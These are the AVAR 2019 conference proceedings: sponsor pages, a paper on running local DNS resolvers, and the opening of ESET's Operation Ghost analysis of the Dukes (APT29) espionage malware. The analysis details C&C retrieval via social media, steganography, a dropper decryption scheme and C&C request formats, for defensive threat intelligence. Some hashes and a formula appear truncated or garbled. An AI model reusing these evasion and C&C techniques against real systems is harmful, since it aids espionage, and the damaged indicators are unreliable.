THE 22ND INTER NATIONAL AVAR CYBERSECURITY CONFERENCE

Hacker versus counter-hacker: From retribution to attribution

November 6—9, 2019
Osaka, Japan
AGENDA

004 Welcome by the AVAR 2019 Conference Chair

006 Welcome by the AVAR CEO

008 Sponsors

014 Keynote

018 Day 1 Track 1

204 Day 1 Track 2

302 Day 2 Track 1

465 Day 2 Track 2
Welcome to the 22nd International AVAR Cybersecurity Conference 2019

Threats evolve. While our industry started in response to the problem of viruses, it has grown to do much more than that. We now look at any security problem in cyberspace: the industry has evolved into cybersecurity. Moreover, actors and motives have changed as well. Initially, actors had great fun writing viruses. And they were motivated to show the world how “clever” they were (many old viruses had graphic effects on the screen); now actors try to make their creations as invisible as possible (except for ransomware, for the obvious reason), to gather as much data, to mine as many coins, to sniff as much data as possible.

The actors themselves have also changed. Of course, you will find the occasional malware writer who has just started, but we are now dealing mostly with offensive security companies and with state actors. For that reason it was not very difficult to come up with the theme of the conference this year: “Hacker versus counter-hacker: From retribution to attribution”. It’s an issue that nowadays generates a lot of questions from the media.
That even within our industry this is a hot topic is shown by the record number of submissions received in response to the call for papers. This, however, has made it possible to build a really strong and interesting program, with speakers coming from all over the world. This shows that not only is the problem worldwide, but also that over the years AVAR has grown from a regional anti-virus conference into an internationally renowned cybersecurity event with attendees coming from all over the world. It is with great pleasure that ESET is hosting the conference this year. We are confident that you will enjoy the presentations and... of course, Osaka!

Once again, welcome to AVAR 2019.

Righard Zwienenberg / ESET
AVAR 2019 Conference Chair
November 2019
On behalf of AVAR (Association of Anti-Virus Asia Researchers), I would like to extend to you the heartiest of welcomes to Osaka for this, the 22nd Annual AVAR Conference.

As many of you will know, AVAR was created back in 1998 by founding members Mr. Seiji Murakami from Japan and Mr. Allan Dyer, a resident of Hong Kong. The first AVAR Conference was held in Hong Kong that year and then annually in various cities in the Asia-Pacific region from Goa, India to Auckland, New Zealand. AVAR’s limited remit has, until now, been to bridge the knowledge gap between the anti-virus community in Asia and the rest of the world, and we have been extremely successful in this endeavour, as exemplified by the technical quality of research shared at successive AVAR conferences.

The conferences have been a great vehicle for knowhow-sharing and networking among global researchers. But how can we go beyond this? Let us reimagine the scope of AVAR, without, of course, diluting the excellence of the conference. Rather, let us explore how AVAR can become a platform for engagement across the cyber ecosystem.

It bears repeating that cybersecurity threats today are multi-dimensional, dynamic, sophisticated, cross-platform and transnational; a far cry from the state of affairs back in 1998.
Over the past couple of decades Asia has proven particularly vulnerable to cyber attacks. Robust cyber defence requires collaboration among all stakeholders in the cyber ecosystem, from cybersecurity researchers, to platform providers, to government organisations, to CERTs and law enforcement agencies. We envisage AVAR providing that medium for inter-stakeholder collaboration against a common, resourceful adversary. We aim to grow our membership many times over, to include stakeholders across the spectrum.

In addition to enhanced knowledge sharing and cooperation, the resulting partnerships will certainly facilitate business-to-business and business-government relationships, thus engendering key business connections, a significant value proposition over and above access to enhanced sample sharing, threat intelligence, etc. We have already begun to raise awareness of AVAR through a series of regional summits across Asia called “AVAR Cyber Conclave”. The very first such event was very successfully hosted by AVAR recently in Bengaluru, India. These conclaves are aimed at increasing the awareness of the benefits that AVAR delivers, and involving diverse stakeholders in the activities of AVAR.

Please join us in making our vision for AVAR (2.0) a reality. Together we can forge a new, grand destiny for AVAR, one with tremendous mutual benefits for its members. We hope you enjoy AVAR 2019 and beyond!

Jayaraman Kesavardhanan
CEO, AVAR
November 2019
GOLD SPONSORS OF AVAR CONFERENCE 2019

- eset
- Canon Marketing Japan Group
- avast
- OPSWAT

SILVER SPONSORS OF AVAR CONFERENCE 2019

- AhnLab
- Cyber Threat Alliance

Supporting Organizations

- ThreatBook
- SE Labs
- K7 Computing
- blur.live
- AV company

Welcome Drinks Reception
Wi-Fi Sponsor
Conference Shirt Sponsor
Attendee Name Badge Sponsor
Lanyards Sponsor
Our award-winning technology fuses machine learning with human intellect

“We’re old acquaintances of machine learning, having recognized its potential for malware detection over 20 years ago. A symbiosis has evolved, with deep neural networks and classification algorithms all integral to the protective layers in ESET’s technology.”

Juraj Malcho, CTO of ESET

ESET.COM/ENTERPRISE
キヤノンのセキュリティ商品は、5つの評価項目すべてにおいて高い評価をいただいております。

ESETの実績

ESETセキュリティソフトウェアシリーズは
多くのお客さまに選ばれ

ESET継続利用率94%

*日本国内におけるESETセキュリティソフトウェアシリーズ法人向け製品（スクールパック除く）の導入実績です。

日頃のご愛顧に感謝し、これからも皆さまにご満足いただけるよう努力してまいります
When it comes to stopping hackers, we’ve got the world on our side

To save the world, you don’t just need the world’s best technology, you need the world’s best intelligence.

Our advanced AI systems utilize machine learning to draw on data from our global user base of over 400M — creating a worldwide network of intelligence our researchers and developers use to stop hackers in their tracks and protect over 50,000,000 homes.

To learn more visit: https://www.avast.com/technology
Protecting Critical Infrastructure

Our goal is to stop all malware, virus, and zero-day attacks. Every file and every device poses a threat. Threats must be addressed at all locations at all times at entry, at exit, and at rest. Our products focus on threat prevention and process creation for secure data transfer and safe device access. The result is productive power facilities trust OPSWAT for cybersecurity and compliance.

Protecting 98% of US nuclear facilities

1400+ Critical Infrastructure Customers

2000+ Critical Infrastructure Certified Applications

Thousands of anti-malware, endpoint patch management, and endpoint encryption software companies have also certified their applications through the OPSWAT Certified Application Program.

CDR

#1 Content, Disarm and Reconstruction

8 Global Offices

USA, Hungary, Romania, Vietnam, Japan, England, Israel, and Taiwan.

300+ Technology Alliance Partners

Including F5 Networks®, A10 Networks®, McAfee®, Symantec®, Microsoft®, VMware®, RSA®, CrowdStrike®, and many more.

OPSWAT.

Trust no file. Trust no device.
CTA is a not-for-profit organization working to improve the cybersecurity of our global digital ecosystem by enabling near real-time, high-quality cyber threat information sharing among companies and organizations in the cybersecurity field. CTA and its members also create outputs, share content, collaborate on actions, promote policy, and respond to cyber incidents to reduce the overall effectiveness of malicious actors’ tools and infrastructure. This novel approach brings together companies that typically compete with one another and enables them to work together for the greater good.

Almost 120,000 observables on average per day through STIX™ package submissions.
Observables including files, Uniform Resource Identifiers (URIs), domain names, addresses, and more.
Over 50 TTPs from Mitre’s Common Attack Pattern Enumeration and Classification (CAPEC™) and Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK™).
CTA gives members access to validated intelligence they might otherwise not have.
Benefits of DNS Service Locality

Paul Vixie, CEO, Farsight Security, Inc.

Abstract

Operating one's own local DNS resolution servers is one of the simplest and lowest-cost things an IT administrator can do to monitor and protect applications, services, and users from potential risks. In addition, answering DNS questions locally improves user and network privacy by reducing the exposure surface of this personally identifiable information.

Introduction

A non-networked computer is very rare now because most useful work involves data and services that are distributed across some kind of "internet" — that is, any network that speaks IP, public or private. Notably, most non-internet networks have failed — we won’t be building or connecting to AppleTalk or DECnet or SNA or XNS networks ever again. Consider, then, that most useful work relies on TCP/IP, which itself relies on the Domain Name System (DNS). We should know as much as possible about our use of the DNS, but most IT administrators are much too busy learning their specialized craft to also become experts on every enabling technology.

In this article, I will describe the use of DNS by users and applications, which means DNS resolution. There's much more than this to say about DNS — for example, DNS content management and provision. But while providing DNS content is a specialized task, accessing that DNS content through resolution is a universal activity — no work of any kind can begin in TCP/IP networks until DNS has been accessed at least once and possibly many times. Importantly, for this discussion, among the kinds of "work" I refer to are online crime, network abuse, and surveillance.
Early DNS

In the 1980s, when TCP/IP’s design was mostly finalized by the research and education communities, it was common to have only one or a few computers on a campus because computers were very large and expensive to acquire, operate, and maintain. This concentration caused many services and applications to share a single computer, which users would access using “dumb” terminals. Thus, when the DNS was created expect, the resolution service was installed on at least one computer on every campus. We learned to rapid answers to most DNS questions, usually receiving an answer within a millisecond or so. Networked applications such as e-mail or file service were operated under the assumptions that at least one DNS access would be necessary for every “transaction” but that DNS access would be fast enough that this would not reduce the performance of applications and services that depended on it.

Before the commercialization and privatization of the Internet in the 1990s, there was no online crime or abuse. When only scientists and engineers could access the Internet, and the goals were academic rather than commercial, we had safety by accident. Much of today’s Internet crime and abuse is made possible by the total absence of security consideration in some of the Internet’s oldest core protocols and services — and it has proved very difficult to address security considerations decades later to a network that was designed to accommodate only trusted users and trusted applications. One of the most serious security problems is that malicious actors can create DNS content to facilitate their online crimes, and they will receive the same excellent service for this malicious content as we get for non-malicious content.

Today’s DNS

Continuous consolidation among Internet companies has created some dominant players, such as Google, Cisco, IBM, and Cloudflare, each of which offers a global DNS resolution service identical to the resolution service every network had to run for itself back in the early days. This is in some ways a natural progression because these external DNS resolution services (such as 8.8.8.8, 9.9.9.9, or 1.1.1.1) are free, convenient, and, perhaps unknown to most users, also a vital source of network intelligence for the companies that operate these resolution services. Many IT administrators working today were not working in the field when DNS resolution service was always provided on-campus, under local policy, by local staff. As a result of this trend and that generation gap, there are added costs and subtracted benefits, or losses, from the use of external DNS resolution servers, either the global kind (8.8.8.8, et al.) or the regional kind (as provided by one’s own ISP).

Accounting of Losses

The first loss we experienced from externalizing the once-local DNS resolution service was privacy. Our external DNS transactions are rarely protected from surveillance, and while such protection is now being developed, that protection will come in the form of added complexity. The best way to avoid having one’s DNS transactions observed, tracked, or analyzed by third parties is to not externalize those transactions in the first place. Most of us need not fear surveillance of traffic inside our own networks, which makes those “owned networks” a great place to keep data we don’t want published.
The second loss from externalizing DNS resolution is performance. No matter how many DNS resolution servers are externally constructed, none will be reachable by our users and our applications in less than 1 millisecond. Thus, the number of transactions we can process per unit of time will be reduced by the need to wait for speed-of-light transmission delays across a distance greater than our campus. Most web browsers now contain an internal DNS “cache” to offset this penalty. Most other networked applications lack this cache. Again, I question the need for application-level caching when a simple local DNS resolution server would offer the same benefits to all networked applications across an organization.

The third loss we experience as a result of using external DNS resolution servers instead of operating such servers locally on our own campus is in monitoring. Most malware and most botnets make use of the DNS to reach their command and control operators, and some use the DNS as a steganographic exfiltration channel for the victim’s personal information. Every modern DNS resolution service has some way to monitor “outbound” traffic to detect insider threats. However, to get the benefit of such monitoring, it’s necessary to see your own traffic. If every application running inside the network has a direct relationship with an external DNS resolution service, then only the operator of that service — not the organization’s IT administrator himself — will be able to monitor that traffic for threats. Some of these resolution service operators offer monitoring to their users, but most do not, and those that do sometimes monetize their observations of that traffic. (This is known as “surveillance capitalism.” For example, the DNS queries coming from the customer of an ISP might be data mined for keywords that are then used to send focused advertising content to that customer.)

The fourth loss we can experience from using an external rather than a local DNS resolution service is control. Modern DNS technology includes the capability of policy enforcement, whereby malicious DNS patterns are rejected by the resolution server based on policy settings (from the local security operations center) and policy subscriptions (from external security information providers). Policy of this kind can reject resolutions based on known-bad domain names, name server names, name server addresses, or distant mail/web/content server addresses. However, this incredibly powerful capability is available only to operators of local DNS resolution servers. Some external DNS resolution providers offer this kind of policy filtering but without the fine-grained control that a locally operated server can provide.

**Methodology**

Despite this growing shift toward external DNS resolution services, it’s not necessary to completely choose only one way that DNS resolution is provided to all local users and servers. A mixture of internal and external DNS resolution consumers is not only possible but quite common. The DNS resolution service to be used by a server is usually set in its control panel or in the private cloud’s control panel, whereas for a desktop or laptop or mobile device, it is set in the control panel of the DHCP server. So, it’s possible to experiment and to experience a very gradual and surprise-free transition from use of external DNS resolution servers to internal ones.

Every open source server platform, such as Linux or BSD, offers many free implementations of the DNS resolution service. The oldest of these is called BIND, but newer implementations such as PowerDNS, Unbound, and Knot are also well-trusted, production-ready software packages. Most will offer some kind of template configuration that includes local DNS resolution. While you certainly will tune and enhance that configuration over time, the “jumping in” cost is extremely low. Commercial products are also available for DNS resolution, from vendors such as Microsoft, Infoblox, Nominum, BlueCat, and others.
Diversity is essential. Every campus needs at least two independent DNS resolution servers, ideally situated on different LAN segments with different power sources. Safe configuration is also essential — operators must ensure that no query coming from outside the network will be answered because this is a well-known and quite popular method for attackers to amplify their distributed denial-of-service capacity. It’s worth spending half a day studying documentation, HOWTO files, and forums before turning up any new service — but that’s especially true for a DNS resolution service.

The general outline of activities related to establishing and operating a local DNS resolution service on your campus is as follows:

1. Research and experiment to find a solution and configuration you can live with initially.
2. Deploy at least two diversified internal servers, which are probably virtual servers.
3. Configure management to cause software, configurations, and updates to be automated.
4. Conduct testing, from both on-campus and off-campus, to ensure correct (and only correct) operation.
5. Monitor, including both operational events like reachability, but also transaction logging.
6. Reconfigure a small set of test subjects, including some servers and some end users.
7. Maintain a watchful settling-in period to gain measurable confidence about the new methodology.
8. Reconfigure a larger set of test subjects or, perhaps, the remainder of the campus.
9. Deploy a testing server for experimenting with automated logging and policy filtering.
10. Research and experiment on different alternatives for transaction monitoring.
11. Research and experiment on different alternatives for resolution policy filtering.
12. Perform a gradual rollout into production of new solutions that have good results from experimentation.

**Conclusion**

Operating one’s own local DNS resolution servers is one of the simplest and lowest-cost things an IT administrator can do to monitor and protect their applications, services, and users from potential risks. These risks — including surveillance capitalism, unmanageable external dependencies, attacks carried via DNS, and attacks that could be detected via DNS — have a much higher potential cost than the mitigation strategy outlined here. Additionally, the DNS resolution service is so central to every other IT-related activity that any and all IT administrators who take the time to investigate and master this technology will amplify their effectiveness and the value they bring to their enterprise.
020  Operation Ghost: The Dukes aren’t back — they never left
Matthieu Faou & Thomas Dupuy / ESET

060  More about HYDSEVEN adversary and cryptocurrency threat
Yoshihiro ISHIKAWA / LAC

069  The Mining Ninja
Augusto Remillano & Hazel Poligratis / TrendMicro

080  Curious tale of 8.t used by multiple attack campaigns against South Asian countries
Niranjan Jayanand / Microsoft

096  Sweet’n Sour in Poison: Case Study of Espionage Campaigns Targeting Japan
Ayako Matsuda / FireEye
<table>
<thead>
<tr>
<th>111</th>
<th>Mac Me MORE Money!! Exploitation of Mac in Targetted Attacks</th>
<th>Dinesh Devadoss &amp; Kaarthik R Muthukrishnan / K7 Computing</th>
</tr>
</thead>
<tbody>
<tr>
<td>130</td>
<td>Defeating APT10 Compiler-level obfuscations</td>
<td>Takahiro Haruyama / Carbon Black</td>
</tr>
<tr>
<td>149</td>
<td>The journey of malware families evade sandbox</td>
<td>Venkatachalabathy S.R. &amp; Harikrishnan Mutu / McAfee</td>
</tr>
<tr>
<td>180</td>
<td>Rich Headers: leveraging this mysterious artifact of the PE format for threat hunting</td>
<td>Michal Poslusny &amp; Peter Kalnai / ESET</td>
</tr>
<tr>
<td>200</td>
<td>Momigari: Overview of the latest Windows OS kernel exploits found in the wild</td>
<td>Boris Larin &amp; Alexander Liskin / Kaspersky</td>
</tr>
<tr>
<td>202</td>
<td>Multiscanning For The Enterprise</td>
<td>Randy Abrams / OPSWAT</td>
</tr>
</tbody>
</table>

BACK TO THE AGENDA
Operation Ghost: The Dukes aren't back — they never left

Matthieu Faou & Thomas Dupuy / ESET

Abstract

It is exceptionally rare for a well-documented threat actor, previously implicated in very high-profile attacks, to stay completely under the radar for several years. Yet, in the last three years that is what APT group the Dukes (aka APT29 and Cozy Bear) has done. Despite being well known as one of the groups to hack the Democratic National Committee in the run-up to the 2016 US election, the Dukes has received little subsequent attention. The last documented campaign attributed to them is a phishing campaign against the Norwegian government that dates back to January 2017.

In this white paper, we describe how we uncovered that the Dukes had been running successful espionage campaigns while avoiding public scrutiny, thanks to stealthy communication techniques and retooling. We call these newly uncovered Dukes campaigns, collectively, Operation Ghost, and describe how the group has been busy compromising government targets, including
three European Ministries of Foreign Affairs and the Washington DC embassy of a European Union country, all without drawing attention to their activities.

Key points in this white paper:

- The Dukes never stopped their espionage activities
- Operation Ghost likely started in 2013.
- The last known activity linked to Operation Ghost occurred in June 2019.
- ESET researchers identified at least three victims: all European Ministries of Foreign Affairs including the Washington DC embassy of a EU country.
- The Dukes have used four new malware families in this campaign: PolyglotDuke, RegDuke, FatDuke and LiteDuke.
- Operation Ghost uses a previously documented Dukes backdoor: MiniDuke.
- The Dukes have leveraged online services such as Twitter, Imgur and Reddit to act as primary Command and Control (C&C) channels for their first-stage malware.
- The Dukes have used very stealthy techniques such as steganography to hide communications between compromised machines and their C&C servers.

For any inquiries related to this white paper, contact us at threatintel@eset.com.

1. Background

The Dukes, also known as APT29 and Cozy Bear, is an infamous cyberespionage group active since at least 2008. In particular, it is known for being one of the adversaries to have breached the Democratic National Committee during the 2016 US presidential election[1]. It was even featured in a joint report issued by the FBI and the Department of Homeland Security (DHS), as part of malicious cyber-activities the report dubbed Grizzly Steppe[2]. That report was published in 2017 and describes malicious activities that occurred around the presidential election of 2016. This section is a summary of the group’s previously documented activities to refresh the reader’s memory, since the last related publication dates from almost three years ago. Our most recent discoveries are detailed in the subsequent sections of this white paper.

1.1 Timeline

Even though the group’s activities are believed to have started in 2008, the first public report was released in 2013 with the analysis of MiniDuke by Kaspersky[3]. Over the next two years, multiple reports dissected the Dukes’ arsenal, including a comprehensive summary by F-Secure of the group’s activities from 2008 to 2015[4].

One of the most recent attacks that we can link to the Dukes is the January 2017 phishing attempt against the Ministry of Foreign Affairs, the Labour Party and the Armed Forces of Norway[5]. Since then, most security experts have believed the Dukes went dark or completely changed their arsenal to pursue their mission.
In November 2018, a strange phishing campaign hit dozens of different organizations in the United States, including government agencies, and think tanks. The attack leveraged a malicious Windows shortcut (a .lnk file) that bore similarities to a malicious shortcut used by the Dukes in 2016. However, that earlier sample was available in a public malware repository for many years, allowing another actor to easily conduct a false-flag operation. In addition, there is no evidence that any custom malware used only by the Dukes was employed during this attack. From FireEye’s detailed analysis of the attack, it was not possible to make a high-confidence attribution to this threat actor.

Figure 1 summarizes the important events of the Dukes history. Some activities related to Operation Ghost are also presented to help understand the overlap between all the events.

1.2 Targets

Over the years, it has been possible to draw the big picture of the Dukes main targets. The group is primarily interested in spying on governments either in the West or in former USSR countries. Besides governments, the group has also targeted various organizations linked to NATO, think tanks, and political parties.

This targeting suggests a clear interest in collecting information allowing a better understanding of future international political decisions, which would seem of most interest to a nation state. Unlike other groups such as GreyEnergy and TeleBots, it is important to note that we have never seen the Dukes engaged in cybersabotage operations.

Surprisingly though, the group also has conducted spying operations outside its main focus. In 2013, Kaspersky researchers found evidence that part of the Dukes toolset had been used against drug dealers in Russia. This may suggest that this toolset is not only used for collecting foreign intelligence but also for conducting LE investigations of criminal activities.
1.3 Tools and tactics

The Dukes group is known to be a major player in the espionage scene. It is associated with a large toolset with more than ten different malware families written in C/C++[^10], PowerShell[^11], .NET[^12] and Python[^13]. It has also adopted living-off-the-land tactics, misusing standard IT tools such as PsExec and Windows Management Instrumentation (WMI).

As mentioned before, we invite our readers to read the F-Secure summary[^4] for an analysis of the earlier malware platforms used by this threat actor.

1.3.1 DELIVERY

The group’s main initial tactic to breach a network is to send spearphishing emails that contain a link or an attachment. Figure 2 is an example of one such campaign, which occurred at the end of 2016. In order to increase the attackers’ chances, it is designed to be a subject of particular interest of the recipient. This is different from mass-spreading malicious email campaigns where the same email is sent to hundreds or thousands of people by crimeware actors.

![Figure 2. Historical malicious email example. Source: https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/](image)

When targets click on these malicious links or attachments, a .zip archive that contains a malicious, macro-enabled Word document and a decoy (as shown in Figure 3) will be downloaded. If victims then open the malicious document and enable the macro, it will then install the PowerDuke backdoor[^14]. In other cases, malicious Windows shortcuts (.lnk files) have been used instead of Word documents with malicious macros.
However, this is not the only method used by the Dukes to gain initial access. In 2014, the Dukes started using two mass-spreading methods to deliver the OnionDuke implant:

- Trojanized pirated applications downloaded via BitTorrent
- A malicious TOR exit node to trojanize downloaded applications on the fly[15][16]

OnionDuke has some capabilities outside the standard espionage features, such as a Denial of Service (DoS) module, but we have not observed their use in the wild. Finally, the Dukes are also known for using multiple implants to compromise a target. It is very common to see an implant delivering another one to regain control of a system.

### 1.3.2 COMMAND AND CONTROL (C&C)

The Dukes have employed several interesting tactics to hide the communications between the implants and their C&C servers, including the use of social media platforms and steganography. MiniDuke[17] and HammerDuke[12] leveraged Twitter to host their C&C URLs. In addition, they use a Domain Generation Algorithm (DGA) to generate new Twitter handles. Each time the malware generates a new handle, it fetches the Twitter page corresponding to that handle and searches the page for a specific pattern, which is the encrypted C&C URL.

In CloudDuke[18], the operators leveraged cloud storage services such as OneDrive as their C&C channels. They were not the first group to use this technique, but it is generally effective for the attackers as it is harder for defenders to spot hostile connections to legitimate cloud storage services than to other “suspicious” or low-reputation URLs.

Moreover, the Dukes like to use **steganography** to hide data, such as additional payloads, in pictures. It allows them to blend into typical network traffic by transferring valid images while its true purpose is to allow the backdoor to communicate with the C&C server. This technique has been described in Volexity’s PowerDuke blogpost[14].
2. Operation Ghost

After 2017, it was not clear how the Dukes evolved. Did they totally stop their activities? Did they fully re-write their tools and change their tradecraft?

We spent months apparently chasing a ghost then, a few months ago, we were able to attribute several distinct intrusions to the Dukes. During the analysis of those intrusions, we uncovered several new malware families: PolyglotDuke, RegDuke and FatDuke. We call the Dukes’ campaigns using these newly discovered tools Operation Ghost.

2.1 Targets and timeline

We believe Operation Ghost started in 2013 and was still ongoing as of this writing. Our research shows that the Ministry of Foreign Affairs in at least three different countries in Europe are affected by this campaign. We also have discovered an infiltration by the Dukes at the Washington, DC embassy of a European Union country.

This targeting is not surprising, and it shows that the Dukes are still active in high-profile organizations. We also believe that more organizations around the world might be affected but due to the use of unique C&C infrastructure for each victim, we were not able to identify other targets.

One of the first traces of this campaign is to be found on Reddit in July 2014. Figure 4 shows a message posted by one of the Dukes’ operators. The strange string using an unusual charset is the encoded URL of a C&C server and is used by PolyglotDuke as described in section 3.2.

Figure 4. Reddit post containing an encoded Command & Control URL

Figure 5 presents the timeline of Operation Ghost. As it is based on ESET telemetry, it might be only a partial view of a broader campaign.
2.2 Attribution to the Dukes

It is important to note that when we describe so-called “APT groups”, we’re making connections based on technical indicators such as code similarities, shared C&C infrastructure, malware execution chains, and so on. We’re typically not directly involved in the investigations and identification of the individuals writing the malware and/or deploying it, and the interpersonal relationships between them. Furthermore, the term “APT group” is very loosely defined, and often used merely to cluster the abovementioned malware indicators. This is also one of the reasons why we refrain from speculation with regard to attributing attacks to nation states and such.

On one hand, we noticed numerous similarities in the tactics of this campaign in comparison to previously documented ones:

- Use of Twitter (and other social websites such as Reddit) to host C&C URLs.
- Use of steganography in pictures to hide payloads or C&C communications.
- Use of Windows Management Instrumentation (WMI) for persistence.

We also noticed important similarities in the targeting:

- All the known targets are Ministries of Foreign Affairs.
- The three known targeted organizations were previously compromised by other Dukes malware such as CozyDuke, OnionDuke or MiniDuke.
- On some machines compromised with PolyglotDuke and MiniDuke, we noticed that CozyDuke was installed only a few months before.

However, an attribution based only on the presence of known Dukes tools on the same machines should be taken with a grain of salt. We also found two other APT threat actors — Turla[^9] and Sednit[^20] — on some of the same computers.

On the other hand, we were able to find strong code similarities between already documented samples and samples from Operation Ghost. We cannot discount the possibility of a false flag operation; however, this campaign started while only a small portion of the Dukes’ arsenal was known. In 2013, at the first known compilation date of PolyglotDuke, only MiniDuke had been
documented and threat analysts were not yet aware of the importance of this threat actor. Thus, we believe Operation Ghost was run simultaneously with the other campaigns and has flown under the radar until now.

PolyglotDuke (SHA-1: D89C4E7B6418B87CC86190FD9A778C6955FEA28), documented in detail in section 3.2, uses a custom encryption algorithm to decrypt the strings used by the malware. We found functionally equivalent code in an OnionDuke sample (SHA-1: A75995F94854DA87996582A2FA9798087199D0) that was documented by F-Secure in 2014[16]. It is interesting to note that the value used to seed the srand function is the compilation timestamp of the executable. For instance, 0x5289F207 corresponds to Mon 18 Nov 2013 10:55:03 UTC.

The IDA screenshots in Figure 6 show the two similar functions.

Similarly, the recent samples of the MiniDuke backdoor bear similarities with samples documented more than five years ago. Figure 7 is the comparison of a function in a MiniDuke backdoor listed by Kaspersky in 2014[21] (SHA-1: 86EC76C27E5346700714DBAE2F10E168A0B210E4) and a MiniDuke backdoor (SHA-1: B05CABA46100C6EB8B237F318577E9BCD6047) compiled in August 2018 and.

Given the numerous similarities between other known Dukes campaigns and Operation Ghost, especially the strong code similarities, and the overlap in time with previous campaigns, we assess with high confidence that this operation is run by the Dukes.
2.3 Tactics and tools

In *Operation Ghost*, the Dukes have used a limited number of tools, but they have relied on numerous interesting tactics to avoid detection.

First, they are very persistent. They steal credentials and use them systematically to move laterally on the network. We have seen them using administrative credentials to compromise or re-compromise machines on the same local network. Thus, when responding to a Dukes compromise, it is important to make sure to remove every implant in a short period of time. Otherwise, the attackers will use any remaining implant to compromise the cleaned systems again.

Second, they have a sophisticated malware platform divided in four stages:

- **PolyglotDuke**, which uses Twitter or other websites such as Reddit and Imgur to get its C&C URL. It also relies on steganography in pictures for its C&C communication.
- **RegDuke**, a recovery first stage, which uses Dropbox as its C&C server. The main payload is encrypted on disk and the encryption key is stored in the Windows registry. It also relies on steganography as above.
- **MiniDuke** backdoor, the second stage. This simple backdoor is written in assembly. It is very similar to older MiniDuke backdoors.
- **FatDuke**, the third stage. This sophisticated backdoor implements a lot of functionalities and has a very flexible configuration. Its code is also well obfuscated using many opaque predicates. They re-compile it and modify the obfuscation frequently to bypass security product detections.

Figure 8 is a summary of the malware platform of *Operation Ghost*. During our investigation, we also found a previously unknown (and apparently now retired) third-stage backdoor, LiteDuke, that was used back in 2015. For the sake of historical completeness, it is analyzed in section 3.6.
Third, we also noticed that the operators avoid using the same C&C network infrastructure between different victim organizations. This kind of compartmentalization is generally only seen by the most meticulous attackers. It prevents the entire operation from being burned when a single victim discovers the infection and shares the related network IoCs with the security community.

### 2.4 Operational times

When it comes to cyberespionage, it is not uncommon for the malware developers and operators to follow the standard working hours of the country where they are located. For instance, we previously showed that Sednit operators were generally working from 9 AM to 5PM in the UTC+3 time zone\cite{20}. Previously, FireEye researchers noticed that the Dukes were also mainly operating in the UTC+3 time zone\cite{12}.

For Operation Ghost, we compiled three different types of timestamp in order to have an idea of their operational times:

- The time at which they uploaded C&C pictures to the Dropbox account used by RegDuke
- The time at which they posted encoded C&C URL on the social media accounts used by PolyglotDuke
- The compilation timestamps of dozens of samples. We believe they were not tampered with, as they are consistent with what we see in ESET telemetry data.

It should be noted that some of these timestamps may have been generated by an automated command system or an automated build system.

Figure 9 shows the distribution of the operational hours of the Dukes in the UTC time zone. The distribution aligns well with working hours in a UTC+2 or UTC+3 time zone, with occasional work during the night. This might be explained by a need to work at the same time as some of their victims.

![Figure 9. Dukes operational hours](..)
3. Technical analysis

In this part, we present the technical analyses of the different malware stages used in Operation Ghost.

3.1 Compromise vector

Despite having analyzed the Dukes activities in several different organizations, we were not able to find the initial compromise vector. The group is known for sending well-crafted malicious emails, but we did not find any such samples.

It should also be noted that two of the three targeted organizations we identified had previously been compromised by the Dukes, mainly in 2015. As such, it is highly possible that the attackers kept control over the compromised networks during this whole period. We observed them pivoting in an already-compromised network using lateral movement tools like PsExec and stolen administrative credentials. As such, from only a few compromised machines, they are able to expand their operations.

3.2 PolyglotDuke: the first stage

PolyglotDuke is a downloader that is used to download and drop the MiniDuke backdoor. As mentioned in section 2.2 and shown in Figure 6, this downloader shares several similarities with other samples from previous Dukes campaigns such as the use of Twitter to retrieve and decode its C&C server address, as well as a custom string encryption implementation. Both 32- and 64-bit versions of PolyglotDuke were observed and have similar behavior. We dubbed this downloader PolyglotDuke in reference to its use of charsets from different languages to encode the C&C addresses.

3.2.1 DROPPER

PolyglotDuke's dropper embeds an encrypted PolyglotDuke within a resource type named GIF with the ID 129. The resource is encrypted with the following algorithm, using the string GIF89 from the resource (which is the 5 first magic bytes of the start of the GIF header) as the key:

\[
\text{clearText}[i] = (i / 5) \uparrow \ast \text{cypherText}[i] \uparrow \text{aGif89}[i \% 5]
\]

After decryption, the DLL is written to the current working directory and executed using rundll32.exe.

The custom string encryption algorithm used by the PolyglotDuke dropper is identical to the one used by PolyglotDuke, as well as other samples from previous Dukes campaigns, and is depicted in Figure 7.

As mentioned in section 2.2, it's worth noting that this dropper shares a great deal of functionality with OnionDuke, such as the use of a GIF resource, the use of the same algorithm with the string GIF89 as key to decrypt the resource, and the use of the same custom encryption algorithm to encrypt the strings.
3.2.2 C&C SERVER ADDRESS RETRIEVAL FROM PUBLIC WEBPAGES

Strings from PolyglotDuke are decrypted using two different algorithms. The string is either RC4 encrypted using the CryptDecrypt API where the key is derived from the system directory path with the drive letter removed, or using the custom encryption algorithm shown in Figure 6. An IDA Python script to decrypt these strings is provided in our GitHub repository.

The C&C server address is retrieved and decoded from various public webpages such as Imgur, ImgBB or Fotolog posts, tweets, Reddit comments, Evernote public notes, etc. Several encrypted public webpage URLs are hardcoded in each sample (from three to six URLs in a single sample) and it will iterate over the hardcoded list of C&C server addresses until it is able to decode a valid C&C URL successfully. An example of a public webpage containing an encoded C&C URL is shown Figure 10.

![Figure 10. Example of a public post containing an encoded C&C URL](image)

After retrieving the content of one of these webpages, PolyglotDuke parses it to find two delimiter strings and extracts the content between them. The extracted UTF-8 string uses a particular character set within a Unicode block such as Katakana\(^{[22]}\), Cherokee\(^{[23]}\) or Kangxi radicals\(^{[24]}\). Any given sample can only decode a C&C URL encoded in one of those charsets. The string is first converted to UTF-16, only the last byte of each codepoint is kept, then a custom mapping is used to transpose this to printable ASCII. The order of the characters of the resulting string is then reversed, resulting in the C&C URL. A script to decrypt the C&C URL, regardless of the Unicode range used, is provided on our GitHub repository.
Interestingly, the text from the delimiter strings usually makes sense in the context of the fake post. The decoded C&C URL points to a PHP script with which the downloader communicates using GET requests, as described in the next section.

### 3.2.3 COMMUNICATION WITH THE C&C SERVER

Once the C&C server URL is decoded, the compromised computer sends HTTP GET requests with arguments using the following format:

```
GET example.com/name.php?\[random_param1\]=\[random_string1\]&\[random_param2\]=\[random_string2\]
```

Only the argument values are relevant here as the argument names are selected randomly from a hardcoded list. The list of argument names used is shown in Table 1. This makes the communication between PolyglotDuke and the C&C server difficult to identify because there are no obvious patterns. Additionally, the User-Agent header used to perform the GET requests is a common one:

```
Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)
```
